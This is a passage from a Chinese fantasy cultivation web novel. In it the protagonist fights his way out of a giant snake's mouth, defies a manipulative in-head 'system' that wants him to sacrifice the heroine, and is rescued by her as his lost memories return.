她应该很快就能和他们碰头。
至于霜天晓……
她步出拒止阵的那一刻,目光不禁飘向蛇腹,他应该就在蛇腹里。
那里是强酸环境,又缺少氧气。他很快就会窒息,然后慢慢被蛇的胃酸消化,最终连骨渣都不会残留。
哀伤的情绪无法抑制,她仿佛还能看见他带血的笑,明明不忍再看,目光却钉在蛇腹上,无法转移。
蛇腹处挂着一道鲜红,在火焰中狰狞颤动。是霜天晓开启九天阳雷阵时,天雷劈出的伤口。
伤口处血肉模糊,边缘翻起几片蛇鳞,鳞片卷了边,随着巨蛇翻滚而颤抖。
颤抖得像只应激的猫,脆弱到一点火星就能将它吓得每根绒毛都在颤。
然而现在,蛇腹下方可不止一点火星,而是一场焚天烈焰,火光映得蛇腹伤口更加鲜红狰狞。
原来,它也不是无坚不摧。
原来,它痛苦翻滚是因为腹上伤口正被火焰灼烧。
蛇头忽然抽紧仰天,从它下颚处斩出一段金红剑刃。
剑刃!
是霜天晓的剑刃!
他还没被吞下蛇腹,只是被困在巨蛇的下颚处!
楚江蓠眉目一颤,反手从储物戒里掏出一柄铁剑。
剑体沉重,入手便拽得她下坠。
这是她炼制失败的凡剑,虽没有削妖斩魔的能力,但剑柄处被她嵌了九天阳雷阵。
剑非灵剑,但阵法有效,只差灵力激发。
她再度取出盛露,贴着剑柄抓紧,积蓄灵力激发阵法。
盛露虽万分危险,但眼下唯一的破局机会便系在盛露上,她已顾不及之后会有哪些连锁反应了。
直到阵法激发,剑柄亮起淡淡金色,她做好了所有准备,才步出拒止阵。
她便这么提着剑,剑刃指向巨蛇。
……
鲜红如海的蛇口里,霜天晓一手撑着巨蛇上颚,一手抵着长剑。
长剑一点点捅开脚下柔软的血肉,将他身上溅满了蛇血。
蛇血粘腻腥臭,比死了十天的烂鱼还要腥臭。
一条艳红蛇信忽地卷上他的腰,试图将他扯离长剑,卷进腹中。
他抓紧长剑,同蛇信拉锯着,强撑着保持自己的位置,避免掉入蛇腹的深渊。
蛇腹里的恶臭远胜于蛇血,被蛇信这么一卷,直接扑进了他的口鼻。
大脑被熏得巨痛,痛得几乎失去了知觉,眼前的深渊却越来越大,随时会将他吞噬。
他惯常是有些洁癖的,自辟谷以来,就未再吃过任何东西。
那些或沾
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了露水,或沾了浮尘的灵果,他从来都是远远避开,一动不动。
原因无他,别人碰过的太脏,他嫌恶心。
他的洁癖到了种近乎癫狂的地步,只要碰一下别人,就会严重过敏。
过敏从不受他控制,他也不记得原因,只隐约觉得同他的过去有关。
可惜的是,自他在天雷秘境里醒来,被系统绑定上的时候,他就忘了过去的很多事情,甚至不记得自己的姓名,只能感觉到自己心里缺了一块什么。
那块缺失让他很讨厌弄脏自己,并时常为此发疯。
现在,在这蛇口里,它腥臭的血肉挤压着他,试图将他送进更加密闭腥臭的胃袋之中,而他却只能无力地下滑。
难道他注定要死在,他最讨厌的腥臭的地狱里吗?
他没法去想,连思考的心思都没有,满脑子都是疼痛与恶心。
这种鼓动的疯狂几乎要剖开他额头的动脉,将他撕成一段段碎尸。
他的心已疲惫不堪,甚至觉得就此放弃也挺好。
但他的大脑里似乎有另一个他。
他们不在一个时空内,他看不见也摸不到,却被对方暴烈的思维影响着。
那是属于他大脑的理智部分,将他心中的情绪与恐惧全都分食一空。
他的身体、他的大脑、他的一切知觉都被冷漠的理智夺去,然后强行求生。
他用力地蹬着腿,试图将脚下的巨蛇的血肉蹬碎。
大约是人到生死关头,求生欲会夺走一切情感精力,成为身体唯一的主宰。
但那条臭蛇也不是好惹的,它立刻锁紧了上下颌,两边骨关节交替,一左一右,一左一右地把霜天晓往它肚里压。
眼前的深渊更近了,他大脑里的理智更加癫狂,毫不犹豫地伸出腿,卡住了巨蛇的牙。
温热的血喷了出来,喷上了他的衣角。
他又被弄脏了许多。
骨头被咬碎的疼痛袭来,他感觉到额头的汗水滚下来,沾进眼睛里,又疼又涩。
眼睛会有味觉吗?
为什么眼里的汗这么咸?像是盐巴糊进伤口,好痛!
但他的大脑似乎感觉不到这些混杂的疼痛,居然冷静地、迅速地画了道阵法,封住了自己腿上的血脉。
被蛇咬住的腿不再喷血了,仿佛成了条义体假肢,面无表情地被舍弃,将吃人的魔鬼死死挡在地狱的门里。
是那道阵法,不仅封住了他腿上的血脉,还将他的腿石化成了钢铁。好处是,那条臭蛇终于停下吞食,不再活动。
它彻底被他的腿卡住了。
眼前的深渊不再向他靠近,只静静地悬停在那里,似乎是极神秘的海底宝藏,在等待着谁主动跳进去。
就算是海底宝藏,也是血海冥河的宝藏,没人会蠢到跳进去。
但他忽然觉得,自己可能就是那个蠢人。
因为他的心确实在这一刻被吸引,变得蠢蠢欲动。
但他的脑海里还有别的声音,是一道极为刺耳的电子音。
【别心存侥幸了!宿主你打不过的,死亡概率已经突破百分之八十!!还是快开雷灵珠吧。】
雷灵珠?
雷灵珠!
他在恍惚中忽然想起,确实还有这么个好东西。
这东西蕴藏着天道的真正力量,足以毁天灭地,撕裂虚空。
20. 血红的地狱
这世上有五颗灵珠,传言集齐五灵珠者可登临仙帝,掌控天道。届时,白骨枯木,翻手可生;江海星辰,抬手即灭。
整个修界都对它们摩拳擦掌,拼死相争。
其实,这五颗灵珠有高下之分,有三颗不过是凑数的神物。
真正能复生白骨的是风灵珠,能破碎星辰的是雷灵珠。
如今,雷灵珠就藏在霜天晓的丹田里,是他行走修界的底牌。
在巨蛇出现之时,他脑海里的系统就在尖叫着,劝他赶快掏出雷灵珠保命。
这种生死攸关的时刻,即使雷灵珠会引来无数高手抢夺,他也应该先活下来,再想怎么应对。
听着系统喋喋不休的蛊惑,霜天晓终是抬起手,覆于丹田处,准备取出雷灵珠。
丹田里的雷灵珠跳动着,一股灼热的力量撞击着他的掌心。
这股灼热并非源于雷灵珠,而是来源于他丹田里的异火。
他伴着异火降生,这火恰好可以掩住雷灵珠的气息。
一但雷灵珠脱离他的丹田异火,无数高手就会疯了般冲到他面前,将他碎尸万段。
就像他们曾在天雷秘境里做过的那样。
当初,在天雷秘境里,他取到了雷灵珠,却失去了一位同窗挚友。
只因他们被人围攻,挚友伪装成他,偷偷把他埋进沁满了血的土里,替他迎向了那些夺宝的修士。
后来,霜天晓从假死中醒来,爬出那血腥的土地,却只能看着挚友在炫目的法术下,成了一缕青烟。
因为这场替身假死,他失去了许多记忆,甚至不记得自己的名字,只记得漫天的光影、无数的仙人和这段刻骨的仇恨。
他是从肮脏地狱里爬出来的人,初窥天光,便对着苍天发誓,他必要爬上那修界的巅峰,为挚友复仇。
他的誓言唤来了一个自称系统的家伙。
系统告诉他,自己能帮他,能让他步步升级,成为修界的第一人。
系统还说,不是雷灵珠选中了他,而是雷灵珠本就属于他。
它说,他叫霜天晓,是唯一的主角。
它说,这个天下本该都是他一人的。
于他而言,是不是主角不重要,天下是谁的也不重要,他只想去无妄海复仇。
系统能帮他,很好。
系统要他做什么,都行。
只是,那个系统要求他,每一步都要跟着什么剧情主线走,奇遇要拿,关卡要过,所有美人大佬都要收入后宫。
美人后宫?
神经病!
只要能复仇,他做什么都行,但这种踩着无辜者上位的事,不行!
这同他的那些仇敌又有什么区别?
何况,系统难道不知道,它的主角自从爬出秘境,便患了心病,对一切事物都过敏吗?
这心病不断煎熬着他,就仿佛,他当初并非是想假死,而是一心求死。
求死的失败让他严重自厌,时刻责怪自己怎么还能活在世间,又怎么能触碰世上那些美好的事物。
这种复仇和求死的对立情绪无时无刻不在他脑海中、在他心口处、在他身体的每一个角落打架。
它们将他彻底撕裂成两段,一段会爬上无妄海,杀了那些仙人;一段会回到血腥地狱,重新安眠于冥河。
这种撕裂之痛一直持续到他遇见了一个人。
不,应该是他遇到了一个契约。
那个契约的力量强势而浩大,生生压下了他所有的撕裂与痛苦,平静地牵着他往前走。
自他在天雷秘境里醒来,他既看不见去处,也不知道自己的来路,满目都是浑厚不明的白雾。
如今有个人跟随,他才感觉到安心。
后来,系统告诉他,同他结契的是楚家大小姐。她本应嫁到无妄海去,却逃了婚,流落到这里。
系统说,可以利用她的身份,灭掉无妄海。
系统说的有道理。
他确实可以利用她。
系统可以利用任何人,也教他如何利用那些人,达成自己的目的。
但系统的目的是什么?
消灭无妄海?帮他复仇?帮他成神?
系统为什么要帮他?
不对!系统的目的不是他,而是那个剧情主线!
对!就是剧情主线!
它规定了这个世界所有人的行动轨道。
挚友应当为他而死,成为他复仇的火焰。
楚大小姐应当成为他的垫脚石,帮他灭掉无妄海。
而他则应当在他们的帮助下,登上神位。
所有不在主线轨道里的事都不该发生。
可,凭什么啊?
凭什么他就必须利用这些人才能登上神位?
凭什么一心逃婚的大小姐要为了他回到无妄海?
凭什么挚友要作为替身,无声无息地为他而死?
所有人都是系统手中的傀儡玩具吗?
任它摆弄着,表演这样一场荒唐的戏剧?
现在它叫唤着,要他使用雷灵珠又是什么居心?!
主线,主线,系统要的一切都是为了主线。
系统并不是想救他,也根本不在意他的想法,它只是想促成所谓的主线。
而他强行登上这座山已经违背了主线,所以系统想要校正回去!
就是如此!一定如此!
霜天晓想及此处,放在丹田处的手指蜷了蜷,当即停止取出雷灵珠的动作。
脚下的血肉忽地颠簸,他的手立刻抓回剑柄,稳住自己,脑袋却撞上了巨蛇口腔的内壁,撞得他一阵头晕目眩。
就在这时,霜天晓忽然想通了一切,也明白了取出雷灵珠后会发生什么。
他生,楚江蓠死。
系统曾和他讲过接下来的主线是什么。
他要让楚江蓠爱上他,为他去往无妄海,在那里受尽折磨后,成为他的内应。
之后,她会自愿为他而死,助他彻底突破,踏碎凌霄。
搞笑嘛,这不是。
就她那每天阴沉沉、神叨叨的性子,日子过得比蛇还警惕,她会为他去死?
系统却说,会的,只要他能攻略下来。
于是,霜天晓替她挡了竹楼里爆炸的火星,每日都给她准备不同的美食,尝试着接近她。
她也是真的心软,替他敷药,喂他吃糖。
可她什么都不知道,一心想着远离不能自主的人生,还想登上修界巅峰,向她的渣爹证明自己。
算了,他不想利用她了。
大家都本该是自由的,何必被困在这里。
他霜天晓想要复仇,何须利用一个姑娘?
系统让他召唤雷灵珠,不过是想回到主线剧情里,引来无数的仙门大佬。
楚江蓠现在一定在焦急地等着他,仙门大佬一至,她身份就会暴露,接着会被她的渣爹抓回去,送到无妄海。
无妄海是一处吃人不吐骨头的魔窟,她的未婚夫是个变态狂,以施虐为乐。
“不能再有任何人死在我面前了!”
霜天晓攥紧手中的剑柄,丹田内的异火爆发,一声长啸,灵剑焕发着绚烂的红光,像是轮西坠的烈日,那样灿烂夺目,那样永恒不朽!
随着灵剑下沉,剑下的蠕动的血肉破开一线天光,像是血海裂开了缝隙,山林里的清新空气透了进来。
是他捅穿了巨蛇的下颚。
这一剑彻底激怒了巨蛇,它癫狂地甩着头,带动它嘴里的血肉疯狂搅动,像旋风般将霜天晓卷起。
霜天晓直摔得眼冒金星,却死死攥着灵剑不曾撒手。
只要灵剑还在他手中,他就不会掉落进巨蛇的胃袋深渊,他就还有机会翻盘。
巨蛇大约也意识到他的目的,拼命挤压口腔里的血肉,似乎是想将他挤到窒息。
为免窒息,霜天晓用手脚撑住四周拧紧的血肉,触感极富弹性,冰凉柔软。
他突然想到,巨蛇的血肉虽然韧性十足,但终究是血肉,应该无法再承受一次九天阳雷阵。
一但开启阵法,召唤出暴烈的天雷,大概率会将巨蛇的口腔劈碎,他就有机会逃出生天。
但他所有的灵力都已压在灵剑上,已无法再分出去运转一次九天阳雷阵。
若系统不曾封印他的两条灵脉,或许还能一试。
某种绝望的情绪流了进来,他那个求死的人格愈发兴奋地在他脑海中舞蹈。
他压住对方,咬牙紧盯着剑下的缝隙,告诉自己,楚江蓠应当还在外面的拒止阵里等他。
她应该会很害怕。
灵剑一点点推进下沉,切割出更大的伤口,漏进了灼眼的火光。
逃生的希望已很近了!正随着剑下的伤口一同扩张!
巨蛇大约也意识到了危机,长嚎一声,于咽喉处,就是那处漆黑深渊之中,凝出了一团幽绿光芒。
那团光芒里蕴含着暴烈的力量,如一个独立的小宇宙,电闪雷鸣、星辰旋转,似乎能劈裂这个世界。
又是[降龙柱]!
可他明明已卡住了巨蛇的嘴巴,对方一但施展[降龙柱],暴虐的力量就会直接在蛇嘴里爆发,把两人一同轰成齑粉。
这条臭蛇在图什么?
霜天晓盯着[降龙柱]的幽光,突然明白。
是玉石俱焚!是同归于尽!
这条臭蛇是拿准了他无法像之前那样,使用九寒冰阵化解掉它的[降龙柱]!
所以,死也要拉着他垫背!
系统在霜天晓耳边狂叫:【怎么还不用雷灵珠啊!宿主你在犹豫什么!雷灵珠一出,我们就回到主线了!你不会死的!】
“闭嘴吧!你不过是想要别人的命!我没你那么无耻!”他怒斥系统,重新拔出灵剑。
灵剑脱离血肉,巨蛇的血喷溅漫洒。
腥臭又潮热,像是一团馊了的面糊,糊了他满脸。
霜天晓没空擦掉脸上的脏血,他举起剑,直面深渊里的那团绿光。
巨蛇既想与他同归于尽,他也只能以命相博。
也就是,他要将灵力全都灌注于攻击阵法中,再度开启九天阳雷阵!
这样一来,即使最后他死了,也能拉着巨蛇一起死!
只要巨蛇死掉,楚江蓠就能安全地下山,回到金银寮的小竹楼,继续过她的日子。
或许……
或许,她以后真的可以像她说的那样,让她的渣爹对她刮目相看。
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这真不错……
手中灵剑瞬间爆发极为夺目的红光,霜天晓静静望着这团赤色,感受到一种久违的平静。
那赤光挥洒着,拍打着,化成一双凤鸟的羽翼。
凤凰于飞,等待浴火,等待一轮重生。
系统嘶吼着,狂叫着,高声骂着他。
霜天晓已不在意这些,只不断向灵剑注入灵力。
灵力倾泻,激起剑身的凤翼拍落无数星火,像是点点赤蝶,围着那团幽绿雷火飞舞,准备随时吞下幽冥。
霜天晓借着这死亡前的一刻,和系统商量一句:“你解开我被封的灵脉,我们都不用死。”
系统冷笑:【你威胁我?你懂什么?我们已经没时间了,任你乱跑浪费,还不如再重开一周目!】
“什么是重开?”
霜天晓不理解它的话,也不想再理它,只伸手抹过剑身,割破了自己的掌心。
汩汩鲜血流下,沿着灵剑,流到了巨蛇残破的血肉上,流淌出一圈简洁的阵法图案。
剑阵齐明,光照幽冥!
他确实是剑阵双修!是这个修界本不该存在的怪物!
系统说,这是主角光环。
霜天晓笑开了怀,哪来的主角光环,明明是挚友死后,他为了隐姓埋名,剖去了灵根,取出了丹田……
将刻印在上面的剑修的力量抹去,再回去重头修起。
只因他当初假死醒来后,不知为何,已不会用剑,亦无法再于剑道有所进益……
剑修之路被堵死,他只能换一条道途罢了。
可惜,换了道途,竟也只能止步于此了……
都是系统的错!
霜天晓猛地挥剑,剑身划过脚下的鲜血流出的图案,补上了最后一点空白。
鲜血绘出的阵法因此闭合,接着绽放出绚烂的金色光芒,光芒直指那团幽绿的雷火。
他在那幽绿中,似乎看见了茫茫雾气分开,雾里隐约站着一个女人。
她背对着他,背影修长,似乎在一直往前走。
脑海里的系统咒骂声逐渐渺远,飘渺的像是林间的雾气,湿漉漉地沾在他脸上,沾湿了他的衣角。
他想追上她,却仿佛永远也追不上。
她藏在前方的雾气里,抬起头,对着手呵出了一团白汽,反复吟诵着一句:“拨雪寻春,烧灯续昼。”
拨雪寻春,烧灯续昼……
拨雪寻春,烧灯续昼……
这唱诵般的话语,似乎延生到茫茫无尽的路途前方,一路破开迷雾,在他眼前展开了地平线的弧度。
从地平线开始,从遥远的远方开始,漫天漫地的绿意萌发,像是青绿色的海,向他涌来。
在这无限绿意中,那个背影转身面向他。
但莺飞草长的绿意淹没了她的脸。
有风吹过,风吹草低,她的脸却仍模糊在草地里。
霜天晓恍惚意识到,这是他失落的那一部分记忆。
他下意识地想要伸出手去,系统开始尖叫,尖锐吵闹地要撕裂人的脑袋。
他的脑袋似乎因此裂开了一道巨大的豁口,豁口里装满了那些喧闹的杂音。
很快,金光遮眼,他眼里的一切都已模糊不清。
是九天阳雷的金光。
在那金光之中,破开了一道极深极深的豁口,满天星光落了进来。
是很冷的星光,是山林的星光。
接着是焚天的火光。
火光之中,有人提着一柄漆黑的铁剑,倏地划开了巨蛇的血肉。
那团幽绿的雷火灭了,鲜红的血肉碎了,腥臭的气味散了。
一剑光动,星坠如雨。
来人披着一身烈火,劈裂了血红的地狱,走入他眼中的茫茫雾气,同那道记忆里的身影重合。
对方恰如破除邪祟的神明降临,手中剑刃挥出万丈金光,满天惊雷纷纷下坠,夺目的光辉照亮了来人的侧脸。
照出了她冷峻的牛脸面具,像是自地狱走出的牛头鬼差,将囚困他的血腥监牢彻底斩碎。
“臣年?”
霜天晓忽地听见这熟悉又陌生的声音,看见来人直奔入血红的地狱,奔向他。
臣年?
是了,他骗过她,说自己的名字是臣年。
但这是她第一次冲他唤出这个名字,臣年。
这名字像是尘封已久的齿轮,在她脱口而出的那一刻,齿轮转动,灰尘飞扬,露出了清晰的记忆之门。
门里的模糊身影终于露出了脸。
是楚江蓠!
是她露出沉静的笑脸,在同他说:“拨雪寻春,烧灯续昼,一切都还没结束呢,臣年。”
是她剖开了巨蛇的伤口,放他终得自由。
是她给了他新的名字,属于他的名字。
他是臣年,而不是系统剧情的霜天晓。
原来,刚刚那救了他的金光璀璨的九天阳雷阵不是他开启的啊……
他怎么忘了,楚大小姐的剑也是可以开阵的,她从来不会在外面等着谁去拯救。
“真的是,早知道就再撑一会儿,等她救我了。”霜天晓忽地跪地倒下,在倒下之前这么想道。
接着,他靠上了一处温暖肩膀。